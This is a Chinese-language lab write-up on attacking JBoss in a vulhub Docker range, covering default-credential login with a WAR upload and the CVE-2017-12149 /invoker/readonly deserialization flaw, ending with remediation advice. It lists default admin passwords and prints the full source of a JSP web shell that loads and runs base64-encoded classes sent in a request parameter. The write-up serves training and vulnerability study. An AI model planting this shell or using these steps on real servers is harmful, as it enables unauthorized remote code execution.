05-JBoss

# 一、JBoss

![image-20260824164743380](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115064241613.png)

JBoss 是基于J2EE规范开发的开放源代码应用服务器，由RedHat公司维护，遵循LGPL许可协议可免费商用。

其核心服务支持EJB 1.1、EJB 2.0和EJB3.0规范，通过集成Tomcat或Jetty实现Web容器功能，采用JMX微内核服务架构并具备热部署、集群支持等特性。

# 二、CVE-2017-12149

## 漏洞描述

第一种为弱口令加上war包上传恶意文件

第二种是JBoss AS HttpInvoker 组件的ReadOnlyAccessFilter过滤器，对/invoker/readonly接口收到的 POST 请求数据，未做任何校验直接进行 Java 反序列化。攻击者无需登录认证，发送恶意序列化字节流，触发反序列化漏洞，实现远程代码执行 RCE，获取服务器权限。

## 影响范围

- JBoss AS 5.x
- JBoss AS 6.x（旧版 JBoss，非 WildFly、EAP 商业版）

## 漏洞复现-弱口令

第一种为弱口令加上war包上传恶意文件。

进入靶场环境，启动容器
```txt
root@ubuntu:~/vulhub# cd ./jboss/CVE-2017-12149/
root@ubuntu:~/vulhub/jboss/CVE-2017-12149# docker compose up -d
```

![image-20260824170243888](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115064241614.png)

> 第一种：弱口令上传war包

使用弱口令登录administrator console后台

```txt
admin / admin
admin / jboss
admin / vulhub # 靶场专用
```

![image-20260824170402732](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115064241615.png)

成功进入后台

![image-20260824170535258](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115064241616.png)

找到war包上传路径

![image-20260824171504187](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115064241617.png)

制作war包：将shell.jsp文件压缩为shell.zip格式，再进行修改后缀名为war

```jsp
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
```

上传war包

![image-20260824172356782](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115064241618.png)

![image-20260824172319179](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115064241619.png)

连接蚁剑

![image-20260824172548191](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115064241620.png)

## 漏洞复现-反序列化

直接访问/invoker/readonly路径，探测该路径是否存在。

![image-20260824172949458](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115064241621.png)

```cmd
java -jar JavaJboss.jar
```

![image-20260824173626656](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115064241622.png)

![image-20260824173654047](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115064241623.png)

```txt
java -jar JBossExploit-v1.0.jar
```

![image-20260824173905484](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115064241624.png)

## 修复建议

- 升级 JBoss 版本至 JBoss AS7 / WildFly 新版本，该接口已经移除；

- 禁用 / 删除httpha‑invoker.sar组件，删除/invoker/readonly访问接口。

05-JBoss

评论（0）